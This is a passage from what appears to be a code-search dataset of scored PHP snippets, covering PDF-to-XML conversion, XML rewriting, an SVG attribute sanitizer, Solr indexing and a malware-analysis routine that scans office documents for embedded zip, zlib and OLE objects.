'.xml2pdf_array2string($wchild);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t//Writing trailer\n\tif(isset($trailer[0]))\n\t{\n\t\t$str_trailer = 'trailer'.PHP_EOL;\n\t\t$str_trailer .= '<<'.implode('', $trailer).'>>'.PHP_EOL;\n\t\tfile_put_contents($file_out, $str_trailer, FILE_APPEND);\n\t}\n\t//StartXref\n\t$start_xref = PHP_EOL.'startxref'.PHP_EOL;\n\t$start_xref .= $length.PHP_EOL;\n\t$start_xref .= '%%EOF'.PHP_EOL; \n\tfile_put_contents($file_out, $start_xref, FILE_APPEND);\n}", "title": "" }, { "docid": "0d62b05745df24f4c7eea63dba292507", "score": "0.4374238", "text": "function modify333(){\n\t$file1 = fopen(\"C:/Program Files (x86)/BaseX/webapp/xml/book_fiction.xml\", \"r\");\n\t$file2 = fopen(\"C:/Program Files (x86)/BaseX/webapp/xml/hello.xml\", \"w\");\n\n\n/////////////////////////////////////////\n\t$arr55 = get_tags_from_fiction_xml();\n/////////////////////////////////////////\n\t//print_r($arr55);\n\n\t$arr2 = [\"<page>\",\"</page>\", \"<chapter>\",\"</chapter>\",\"<trans/>\",\"<trans>\",\"</trans>\",\n\t\"<title>\",\"</title>\",\"<con_header>\",\"</con_header>\",\"<con_header_trans>\",\n\t\"</con_header_trans>\",\"<con_header_trans/>\",\"<tips>\",\"</tips>\",\"<preface>\",\"</preface>\"];\t\n\n//1. Remove &#xD;\n\twhile (!feof($file1)) {\n\t\t$temp = fgets($file1);\n\t\t$temp = str_replace(\"&#xD;\", \"\", $temp);\n\n\t\tforeach ($arr2 as $key => $value) {\n\t\t\tif (preg_match($value, $temp)) {\n\t\t\t\t$temp = str_replace($value, PHP_EOL.$value.PHP_EOL, $temp);\n\t\t\t}\n\t\t}\n\t\tfputs($file2, $temp);\n\t}\n\n\tfclose($file1);\n\tfclose($file2);\t\n\n\t// Part Two \n\t$file = file_get_contents(\"C:/Program Files (x86)/BaseX/webapp/xml/hello.xml\");\n\tfile_put_contents(\"C:/Program Files (x86)/BaseX/webapp/xml/fiction_final.xml\", $file);\t\n}", "title": "" }, { "docid": "99ad680cd56fdf47a7134b90b092d25c", "score": "0.43619177", "text": "function setXML($result) {}", "title": "" }, { "docid": "27d7eb060b5b2166356136b5e38c338b", "score": "0.4358768", "text": "public function clean()\n {\n\n $this->htmlDynContent = null;\n $this->htmlContent = null;\n\n $this->plainDynContent = null;\n $this->plainContent = null;\n\n }", "title": "" }, { "docid": "63a6895d6ab5deacd24b8935ed7496f4", "score": "0.43541437", "text": "abstract protected function buildXml();", "title": "" }, { "docid": "3ec8e6e1af1599f6146390b2ff54bae1", "score": "0.43471098", "text": "function parseDocument() {\n $this->prepareHtml();\n\n $current = libxml_use_internal_errors(true);\n $disableEntities = libxml_disable_entity_loader(true);\n\n $charset = 'UTF-8';\n $this->doc = new \\DOMDocument('1.0', $charset);\n $this->doc->strictErrorChecking = false;\n\n @$this->doc->loadHTML($this->html);\n\n libxml_use_internal_errors($current);\n libxml_disable_entity_loader($disableEntities);\n }", "title": "" }, { "docid": "ae4329b7b30b2628c02463793818db3d", "score": "0.43375736", "text": "function sanitize()\n\t{\n\t\t$allElements = $this->xmlDoc->getElementsByTagName('*');\n\n\t\t// loop through all elements\n\t\tfor($i = 0; $i < $allElements->length; $i++)\n\t\t{\n\t\t\t$this->removedattrs = [];\n\t\t\t\n\t\t\t$currentNode = $allElements->item($i);\n\n\t\t\t// logger('current_node: ' . print_r($currentNode,true));\n\n\t\t\t// array of allowed attributes in specific element\n\t\t\t$whitelist_attr_arr = self::$whitelist[$currentNode->tagName];\n\n\t\t\t// does element exist in whitelist?\n\t\t if(isset($whitelist_attr_arr)) {\n\t\t\t\t\t$total = $currentNode->attributes->length;\n\t\t\t\t\t\n\t\t \t\tfor($x = 0; $x < $total; $x++) {\n\n\t\t \t\t\t// get attributes name\n\t\t \t\t\t$attrName = $currentNode->attributes->item($x)->nodeName;\n\n\t\t\t\t\t\t// logger('checking: ' . print_r($currentNode->attributes->item($x),true));\n\t\t\t\t\t\t$matches = false;\n\t\t\t\t\t\t\n\t\t \t\t\t// check if attribute isn't in whitelist\n\t\t \t\t\tif(! in_array($attrName, $whitelist_attr_arr)) {\n\t\t\t\t\t\t\t$this->removedattrs[] = $attrName;\n\t\t \t\t\t}\n\t\t\t\t\t\t// check for disallowed functions\n\t\t\t\t\t\telseif (preg_match_all('/([a-zA-Z0-9]+)[\\s]*\\(/',\n\t\t\t\t\t\t\t$currentNode->attributes->item($x)->textContent,$matches,PREG_SET_ORDER)) {\n\t\t\t\t\t\t\tif ($attrName === 'text') {\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tforeach ($matches as $match) {\n\t\t\t\t\t\t\t\tif(! in_array($match[1],self::$allowed_functions)) {\n\t\t\t\t\t\t\t\t\tlogger('queue_remove_function: ' . $match[1],LOGGER_DEBUG);\n\t\t\t\t\t\t\t\t\t$this->removedattrs[] = $attrName;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t \t\t}\t\n\t\t\t\t\tif ($this->removedattrs) {\n\t\t\t\t\t\tforeach ($this->removedattrs as $attr) {\n\t\t\t\t\t\t\t$currentNode->removeAttribute($attr);\n\t\t\t\t\t\t\tlogger('removed: ' . $attr, LOGGER_DEBUG);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t // else remove element\n\t\t else {\n\t\t\t\tlogger('remove_node: ' . print_r($currentNode,true));\n\t\t $currentNode->parentNode->removeChild($currentNode);\n\t\t }\t\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "ae1eef9a97b3b1188bdac93969b94c35", "score": "0.43092054", "text": "public function cascadeInvalidationTo(Tag $tag)\n\t{\n\t\t$this->cascade[] = $tag;\n\n\t\t// If this tag is already invalid, cascade it now\n\t\tif ($this->invalid)\n\t\t{\n\t\t\t$tag->invalidate();\n\t\t}\n\t}", "title": "" }, { "docid": "bff75b137bbd0b8e541ef49b893ec047", "score": "0.4309144", "text": "public function testSanitizeHrefsNoXlinkNamespace()\n {\n $dataDirectory = __DIR__ . '/data';\n $initialData = file_get_contents($dataDirectory . '/hrefTestTwo.svg');\n $expected = file_get_contents($dataDirectory . '/hrefCleanTwo.svg');\n\n $cleanData = $this->class->sanitize($initialData);\n\n $this->assertXmlStringEqualsXmlString($expected, $cleanData);\n }", "title": "" }, { "docid": "f56fea9d69e5fb1a5803a8dcef970532", "score": "0.4307514", "text": "public function modify(\\SimpleXMLElement $xml);", "title": "" }, { "docid": "6d0e4e1456b36cb53adf0c359e0ca46d", "score": "0.43065584", "text": "function xml_parse_document( $xml )\n\t{\n\t\t$i = -1;\n\n\t\tif ( $this->use_doctype && in_array( strtolower($this->doc_type), array( 'us-ascii', 'utf-8', 'iso-8859-1' ) ) )\n\t\t{\n\t\t\t$parser = xml_parser_create( $this->doc_type );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$parser = xml_parser_create();\n\t\t}\n\n\t\txml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);\n\t\txml_parser_set_option($parser, XML_OPTION_SKIP_WHITE , 0);\n\t\txml_parse_into_struct($parser, $xml, $values);\n\t\txml_parser_free($parser);\n\n\t\t$this->xml_array = $this->_xml_unconvert_data($values, $i);\n\t}", "title": "" }, { "docid": "49b5ac2533845d7a59373581c5fe848e", "score": "0.42881325", "text": "public function personSolrDoc($itemUpdated, $url){\r\n\t\r\n\t\t$url = $this->prepURL($url);\r\n\t\t$xmlString = file_get_contents($url);\r\n\t\t$xmlString = $this->accentFix($xmlString);\r\n\t\t$itemXML = simplexml_load_string($xmlString);\r\n\t\t\r\n\t\techo \"<br/>\".$url;\r\n\t\t\r\n\t\t$OpenContextItem = new OpenContextItem;\r\n\t\t$OpenContextItem->initialize();\r\n\t\t$OpenContextItem->update = date(\"Y-m-d\\TH:i:s\\Z\", strtotime($itemUpdated));\r\n\t\r\n\t\t$itemXML->registerXPathNamespace(\"oc\", OpenContext_OCConfig::get_namespace(\"oc\", \"person\"));\r\n\t\t$itemXML->registerXPathNamespace(\"arch\", OpenContext_OCConfig::get_namespace(\"arch\", \"person\"));\r\n\t\t$itemXML->registerXPathNamespace(\"dc\", OpenContext_OCConfig::get_namespace(\"dc\"));\r\n\t\t$itemXML->registerXPathNamespace(\"gml\", OpenContext_OCConfig::get_namespace(\"gml\"));\r\n\t\t\r\n\t\t$OpenContextItem = OpenContext_XMLtoOpenContextItem::XMLpersonItemBasics($OpenContextItem, $itemXML);\r\n\t\t$OpenContextItem = OpenContext_XMLtoOpenContextItem::XMLtoMediaLinkData($OpenContextItem, $itemXML);\r\n\t\t$OpenContextItem = OpenContext_XMLtoOpenContextItem::XMLtoPersonLinksData($OpenContextItem, $itemXML);\r\n\t\t$OpenContextItem = OpenContext_XMLtoOpenContextItem::XMLtoSocialData($OpenContextItem, $itemXML);\r\n\t\t$OpenContextItem = OpenContext_XMLtoOpenContextItem::XMLtoMetadata($OpenContextItem, $itemXML);\r\n\t\t$OpenContextItem = OpenContext_XMLtoOpenContextItem::XMLtoProperties($OpenContextItem, $itemXML);\r\n\t\t$OpenContextItem->interestCalc();\r\n\t\t\r\n\t\t$solrDocument = new Apache_Solr_Document();\r\n\t\t$solrDocument = $OpenContextItem->makeSolrDocument($solrDocument);\r\n\t\t\r\n\t\treturn $solrDocument;\r\n\t\t\r\n\t}", "title": "" }, { "docid": "7de10fd0df1d314ff827eaf777e060ad", "score": "0.4287496", "text": "function pdf2xml($file_pdf, $file_xml)\n{\n\t//Pdf structure is compliqued with eol\n\tini_set('auto_detect_line_endings', true);\n\t$line = new Line();\n\t$handle = fopen($file_pdf, 'r');\n\t//Get trailer data\n\tif($handle)\n\t{\n\t\t$version = false;\n\t\t$trailers = array();\n\t\twhile(!feof($handle))\n\t\t{\n\t\t\t$line->str = fgets($handle);\n\t\t\t//Pdf version and binary comment\n\t\t\tif($line->str[0] === '%')\n\t\t\t{\n\t\t\t\t$line->trim();\n\t\t\t\tif($version === false\n\t\t\t\t\t&& preg_match('/^[%]PDF[-][0-9]{1,}[.]{1}[0-9]{1,}/i', $line->str) === 1)\n\t\t\t\t{\n\t\t\t\t\t$version = preg_replace('/^[%]PDF[-]([0-9]{1,}[.]{1}[0-9]{1,})/i', '$1', $line->str);\n\t\t\t\t}\n\t\t\t}\n\t\t\t//Get trailer data\n\t\t\telseif(strpos($line->str, 'trailer') !== false)\n\t\t\t{\n\t\t\t\tif(!feof($handle))\n\t\t\t\t{\n\t\t\t\t\t$line->str = fgets($handle);\n\t\t\t\t\tif(preg_match('/[\\s]*(<<.*>>)[\\s]*/iU', $line->str) === 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$line->str = preg_replace('/[\\s]*(<<.*>>)[\\s]*/iU', '$1', $line->str);\n\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\t$trailers[] = pdf2xml_parser_dictionnary($line);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\telseif(strpos($line->str, '<<') !== false)\n\t\t\t\t\t{\n\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\t$tmp_trailer = array();\n\t\t\t\t\t\t$tmp_trailer[] = $line->str;\n\t\t\t\t\t\twhile(!feof($handle))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$line->str = fgets($handle);\n\t\t\t\t\t\t\tif(preg_match('/[\\s]*>>[\\s]*$/', $line->str) === 1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\t\t\t$tmp_trailer[] = $line->str;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\t\t\t$tmp_trailer[] = $line->str;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$line->str = trim(implode(' ', $tmp_trailer));\n\t\t\t\t\t\t$trailers[] = pdf2xml_parser_dictionnary($line);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//xml output with xmlWriter\n\t\t$xmlWriter = new XMLWriter();\n\t\t$xmlWriter->openURI($file_xml);\n\t\t$xmlWriter->setIndent(true);\n\t\t//A indent is tab char not some space!\n\t\t$xmlWriter->setIndentString('\t');\n\t\t$xmlWriter->startDocument('1.0', 'UTF-8');\n\t\t$xmlWriter->startElement('pdf');\n\t\t$xmlWriter->writeAttribute('version', $version);\n\t\tif(isset($trailers[0]))\n\t\t{\n\t\t\t$data = array();\n\t\t\tforeach($trailers as $indice => $trailer)\n\t\t\t{\n\t\t\t\tif(isset($trailer[0]) && $trailer[0] === '<<'\n\t\t\t\t\t&& isset($trailer[1][0]))\n\t\t\t\t{\n\t\t\t\t\tforeach($trailer[1] as $i => $node)\n\t\t\t\t\t{\n\t\t\t\t\t\tif($node[0] === '/' && isset($node[1])\n\t\t\t\t\t\t\t&& isset($trailer[1][$i + 1][1]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch(strtolower($node[1]))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcase 'root':\n\t\t\t\t\t\t\t\t\tif(!isset($data['root']) && isset($trailer[1][$i + 1][1]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$data['root'] = $trailer[1][$i + 1][1];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'encrypt':\n\t\t\t\t\t\t\t\t\tif(!isset($data['encrypt']) && isset($trailer[1][$i + 1][1]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$data['encrypt'] = $trailer[1][$i + 1][1];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'info':\n\t\t\t\t\t\t\t\t\tif(!isset($data['info']) && isset($trailer[1][$i + 1][1]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$data['info'] = $trailer[1][$i + 1][1];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'id':\n\t\t\t\t\t\t\t\t\tif(!isset($data['id']) && isset($trailer[1][$i + 1][1][0]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$data['id'][] = $trailer[1][$i + 1][1][0][1];\n\t\t\t\t\t\t\t\t\t\tif(isset($trailer[1][$i + 1][1][1][1]))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$data['id'][] = $trailer[1][$i + 1][1][1][1];\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t//Insert trailer\n\t\t\t$xmlWriter->startElement('trailer');\n\t\t\tif(isset($data['root']))\n\t\t\t{\n\t\t\t\t$xmlWriter->writeElement('root', $data['root']);\n\t\t\t}\n\t\t\tif(isset($data['encrypt']))\n\t\t\t{\n\t\t\t\t$xmlWriter->writeElement('encrypt', $data['encrypt']);\n\t\t\t}\n\t\t\tif(isset($data['info']))\n\t\t\t{\n\t\t\t\t$xmlWriter->writeElement('info', $data['info']);\n\t\t\t}\n\t\t\tif(isset($data['id']))\n\t\t\t{\n\t\t\t\t$xmlWriter->startElement('id');\n\t\t\t\t$xmlWriter->startElement('array');\n\t\t\t\tif(isset($data['id'][0]))\n\t\t\t\t{\n\t\t\t\t\t$xmlWriter->startElement('string');\n\t\t\t\t\t$xmlWriter->writeAttribute('type', 'hexadecimal');\n\t\t\t\t\t$xmlWriter->text($data['id'][0]);\n\t\t\t\t\t$xmlWriter->endElement();\n\t\t\t\t}\n\t\t\t\tif(isset($data['id'][1]))\n\t\t\t\t{\n\t\t\t\t\t$xmlWriter->startElement('string');\n\t\t\t\t\t$xmlWriter->writeAttribute('type', 'hexadecimal');\n\t\t\t\t\t$xmlWriter->text($data['id'][1]);\n\t\t\t\t\t$xmlWriter->endElement();\n\t\t\t\t}\n\t\t\t\t$xmlWriter->endElement();\n\t\t\t\t$xmlWriter->endElement();\n\t\t\t}\n\t\t\t$xmlWriter->endElement();\n\t\t}\n\t\t$xmlWriter->flush(true);\n\t\t//Get all objects data\n\t\t$xmlWriter->startElement('objects');\n\t\trewind($handle);\n\t\twhile(!feof($handle))\n\t\t{\n\t\t\t$line->str = fgets($handle);\n\t\t\tif(preg_match('/^([0-9]+)[\\s]+([0-9]+)[\\s]+obj.*/iU', $line->str))\n\t\t\t{\n\t\t\t\t$line->trim();\n\t\t\t\t$data = array();\n\t\t\t\t$is_stream = false;\n\t\t\t\t$obj_name = preg_replace('/^([0-9]+)[\\s]+([0-9]+).*$/', '$1_$2', $line->str);\n\t\t\t\twhile(!feof($handle))\n\t\t\t\t{\n\t\t\t\t\t$line->str = fgets($handle);\n\t\t\t\t\t//a single line trailer\n\t\t\t\t\tif(preg_match('/[\\s]*(<<.*>>).*/iU', trim($line->str)) === 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\tif(strpos($line->str, 'stream') !== false\n\t\t\t\t\t\t\t&& preg_match('/.*>>[\\s]*stream[\\s]*$/', $line->str) === 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$is_stream = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$line->str = preg_replace('/[\\s]*(<<.*>>).*/iU', '$1', $line->str);\n\t\t\t\t\t\t$data[] = pdf2xml_parser_dictionnary($line);\n\t\t\t\t\t}\n\t\t\t\t\t//a multiline trailer\n\t\t\t\t\telseif(strpos($line->str, '<<') !== false)\n\t\t\t\t\t{\n\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\t$tmp_trailer = array();\n\t\t\t\t\t\t$tmp_trailer[] = $line->str;\n\t\t\t\t\t\twhile(!feof($handle))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$line->str = fgets($handle);\n\t\t\t\t\t\t\tif(preg_match('/[\\s]*>>[\\s]*$/', $line->str) === 1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\t\t\t$tmp_trailer[] = $line->str;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif(preg_match('/^.*>>[\\s]*stream.*$/', $line->str) === 1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$is_stream = true;\n\t\t\t\t\t\t\t\t$tmp_trailer[] = preg_replace('/^(.*>>)[\\s]*stream.*$/', '$1', $line->str);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\t\t\t$tmp_trailer[] = $line->str;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$line->str = implode(' ', $tmp_trailer);\n\t\t\t\t\t\t$data[] = pdf2xml_parser_dictionnary($line);\n\t\t\t\t\t}\n\t\t\t\t\t//Get stream data\n\t\t\t\t\telseif($is_stream || strpos($line->str, 'stream') !== false)\n\t\t\t\t\t{\n\t\t\t\t\t\tif($is_stream)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$stream = array('stream', $line->str);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$stream = array('stream', '');\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\twhile(!feof($handle))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$line->str = fgets($handle);\n\t\t\t\t\t\t\tif(strpos($line->str, 'endstream') !== false)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$end = explode('endstream', $line->str);\n\t\t\t\t\t\t\t\tif(isset($end[0]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$stream[1] .= $end[0];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$is_stream = false;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$stream[1] .= $line->str;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$data[] = $stream;\n\t\t\t\t\t}\n\t\t\t\t\telseif(strpos($line->str, 'endobj') !== false)\n\t\t\t\t\t{\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$line->trim();\n\t\t\t\t\t\t$data[] = pdf2xml_parser($line);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$xmlWriter->startElement('object');\n\t\t\t\t$xmlWriter->writeAttribute('name', $obj_name);\n\t\t\t\tif(isset($data[0]))\n\t\t\t\t{\n\t\t\t\t\tforeach($data as $obj)\n\t\t\t\t\t{\n\t\t\t\t\t\tpdf2xml_xml_object($obj, $xmlWriter);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$xmlWriter->endElement();\n\t\t\t\t$xmlWriter->flush(true);\n\t\t\t}\n\t\t}\n\t\t$xmlWriter->endElement();\n\t\t$xmlWriter->endElement();\n\t\t$xmlWriter->endDocument();\n\t\t$xmlWriter->flush(true);\n\t}\n\tfclose($handle);\n}", "title": "" }, { "docid": "e4437e1c98e9bb0174615b4e26d26c6e", "score": "0.42703977", "text": "public function clean();", "title": "" }, { "docid": "e4437e1c98e9bb0174615b4e26d26c6e", "score": "0.42703977", "text": "public function clean();", "title": "" }, { "docid": "e4437e1c98e9bb0174615b4e26d26c6e", "score": "0.42703977", "text": "public function clean();", "title": "" }, { "docid": "e4437e1c98e9bb0174615b4e26d26c6e", "score": "0.42703977", "text": "public function clean();", "title": "" }, { "docid": "ec76b1de9c61cab2cc0bef9ac2a053ec", "score": "0.42033496", "text": "function clean() {\n $this->publisher->clean();\n }", "title": "" }, { "docid": "42267fcdc8662a150ad74ed53344d443", "score": "0.41972354", "text": "function analyseDoc($filename) {\n\tglobal $global_engine, $global_true_keys, $global_yara_sig, $global_zip, $global_paranoid;\n\n\t$md5 = md5_file($filename);\n\t$sha1= sha1_file($filename);\n\t$sha256 = hash_file(\"sha256\", $filename);\n\t$fsize = filesize($filename);\n\t\t\n\tlogDebug(\"$md5 start processing\");\n\n\t//echo getFileMetadata($filename);\n\n\t$sampleUpdate = array('hits' => 0, 'completed' => 0, 'is_malware' => 0, \n\t\t'summary' => '', 'severity' => 0,\n\t\t'key' => '', 'key_len' => '', 'key_hash' => '', 'key_rol' => '', 'key_not' => '',\n\t\t'key_tp' => '', 'key_tph' => '', 'key_math' => '', 'key_la' => '', 'key_special' => '',\n\t\t'key_rank' => '', 'metadata'=> getFileMetadata($filename), 'has_exe' => 0,\n\t\t'md5' => $md5, 'sha1' => $sha1, 'sha256' => $sha256, 'yara' => array());\n\t$data = file_get_contents($filename);\n\n\n\t//check for MS Office xml format:\n\tif (substr($data, 0, 2) == \"PK\") {\n\t\tlogDebug(\"$md5 is a PK Zip\");\n\t\t$xmlembedded = analyseDocx($filename);\n\n\t\tforeach ($xmlembedded as $fname => $xresult) {\n\t\t\tif ($xresult['severity'] > 0) {\n\t\t\t\t$sampleUpdate['severity'] += $xresult['severity'];\n\t\t\t\tif ($xresult['has_exe'] == 1)\n\t\t\t\t\t$sampleUpdate['has_exe'] = 1;\n\t\t\t\tif (isset($xresult['yara']))\n\t\t\t\t\t$sampleUpdate['yara'] = array_merge($sampleUpdate['yara'],$xresult['yara']) ;\n\t\t\t\tif ($xresult['is_malware'] == 1)\n\t\t\t\t\t$sampleUpdate['is_malware'] = 1;\n\t\t\t\t$summaries = explode(\"\\n\", $xresult['summary']);\n\t\t\t\t$sampleUpdate['summary'] .= \"embedded.file $fname \".$xresult['md5'].\"\\n\";\n\t\t\t\tforeach ($summaries as $line) {\n\t\t\t\t\tif ($line != '')\n\t\t\t\t\t\t$sampleUpdate['summary'] .= \"$fname.$line\\n\";\n\t\t\t\t}\n\t\t\t\t$sampleUpdate['completed'] = 1;\n\t\t\t}\n\t\t}\n\t\tif (isset($sampleUpdate['severity']) && $sampleUpdate['severity'] > 0)\n\t\t\treturn $sampleUpdate;\n\n\t}\n\n\t//check for an embedded PK Zip OpenXML doc header 504B03041400\n\tif (($pk = strpos($data,\"\\x50\\x4B\\x03\\x04\\x14\\x00\")) > 0) {\n\t\tfile_put_contents($filename.\".openxml\", substr($data, $pk));\n\n\t\tlogDebug(\"has pk inside $pk\");\n\t\t$xmlembedded = analyseDocx($filename.\".openxml\");\n\n\t\tforeach ($xmlembedded as $fname => $xresult) {\n\t\t\tif ($xresult['severity'] > 0) {\n\t\t\t\t$sampleUpdate['severity'] += $xresult['severity'];\n\t\t\t\tif ($xresult['has_exe'] == 1)\n\t\t\t\t\t$sampleUpdate['has_exe'] = 1;\n\t\t\t\tif (isset($xresult['yara']))\n\t\t\t\t\t$sampleUpdate['yara'] = array_merge($sampleUpdate['yara'],$xresult['yara']) ;\n\t\t\t\tif ($xresult['is_malware'] == 1)\n\t\t\t\t\t$sampleUpdate['is_malware'] = 1;\n\t\t\t\t$summaries = explode(\"\\n\", $xresult['summary']);\n\t\t\t\t$sampleUpdate['summary'] .= \"embedded.file $fname \".$xresult['md5'].\"\\n\";\n\t\t\t\tforeach ($summaries as $line) {\n\t\t\t\t\tif ($line != '')\n\t\t\t\t\t\t$sampleUpdate['summary'] .= \"$fname.$line\\n\";\n\t\t\t\t}\n\t\t\t\t//$sampleUpdate['completed'] = 1;\n\t\t\t}\n\t\t}\n\n\t\t//var_dump($sampleUpdate);\n\t}\n\n\n\t$dataa = $data;\n\t$local = 0;\n\t//check for an embedded zlib doc header 0000789c\n\twhile (($pk = strpos($dataa,\"\\x00\\x00\\x78\\x9c\")) > 0) {\n\t\tfile_put_contents($filename.\".openxml\", substr($dataa, $pk));\n\t\t$local += $pk;\n\t\tlogDebug(\"has pk inside $pk\");\n\t\t//$dec = @gzinflate(substr($dataa, $pk+12));\n\t\t$dec = '';\n\n\t\tfor($i = 4; $i <= 6; $i+=2) {\n\t\t\t$dec = @gzinflate(substr($dataa, $pk+$i));\n\t\t\tif (strlen($dec) > 0) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (strlen($dec) > 0) {\n\t\t\t$l = $local;\n\t\t\t$datastored = array();\n\t\t\tfile_put_contents($filename.\"-datastore-\".$l, $dec);\n\t\t\t$dresult = analyseDoc($filename.\"-datastore-\".$l);\n\n\t\t\tif ($dresult['severity'] > 0)\n\t\t\t\t$datastored[\"datastore-\".$l] = $dresult;\n\t\t\telse\n\t\t\t\tunlink($filename.\"-datastore-\".$l);\n\t\t\t\n\t\t\t\t\t\n\t\t\t\n\t\t\tforeach ($datastored as $fname => $xresult) {\n\t\t\t\tif ($xresult['severity'] > 0) {\n\t\t\t\t\t$sampleUpdate['severity'] += $xresult['severity'];\n\t\t\t\t\tif ($xresult['has_exe'] == 1)\n\t\t\t\t\t\t$sampleUpdate['has_exe'] = 1;\n\t\t\t\t\tif ($xresult['is_malware'] == 1)\n\t\t\t\t\t\t$sampleUpdate['is_malware'] = 1;\n\t\t\t\t\t$summaries = explode(\"\\n\", $xresult['summary']);\n\t\t\t\t\t$sampleUpdate['summary'] .= \"embedded.file $fname \".$xresult['md5'].\"\\n\";\n\t\t\t\t\tif (isset($xresult['yara']))\n\t\t\t\t\t\t$sampleUpdate['yara'] = array_merge($sampleUpdate['yara'],$xresult['yara']) ;\n\n\t\t\t\t\tforeach ($summaries as $line) {\n\t\t\t\t\t\tif ($line != '') {\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \"$fname\";\n\t\t\t\t\t\t\tif ( $xresult['key_rol'] != '' && $xresult['key_rol'] != '0' && !strstr($line, 'rol'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": rol\".$xresult['key_rol'].\".\", $line);\n\t\t\t\t\t\t\tif ($xresult['key'] != '' && !strstr($line, 'xor'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": xor_0x\".$xresult['key'].\".\", $line);\n\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \".$line\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$sampleUpdate['completed'] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\n\n\t\t$dataa = substr($dataa, $pk+4);\n\t}\n\tunset($dataa);\n\n\n\n\n\n\n\t$dataa = $data;\n\t$local = 0;\n\t//check for an embedded ExOleObjStgCompressedAtom doc header 10001110\n\twhile (($pk = strpos($dataa,\"\\x10\\x00\\x11\\x10\")) > 0) {\n\t\tfile_put_contents($filename.\".openxml\", substr($dataa, $pk));\n\t\t$local += $pk;\n\t\tlogDebug(\"has pk inside $pk\");\n\t\t//$dec = @gzinflate(substr($dataa, $pk+12));\n\t\t$dec = '';\n\n\t\tfor($i = 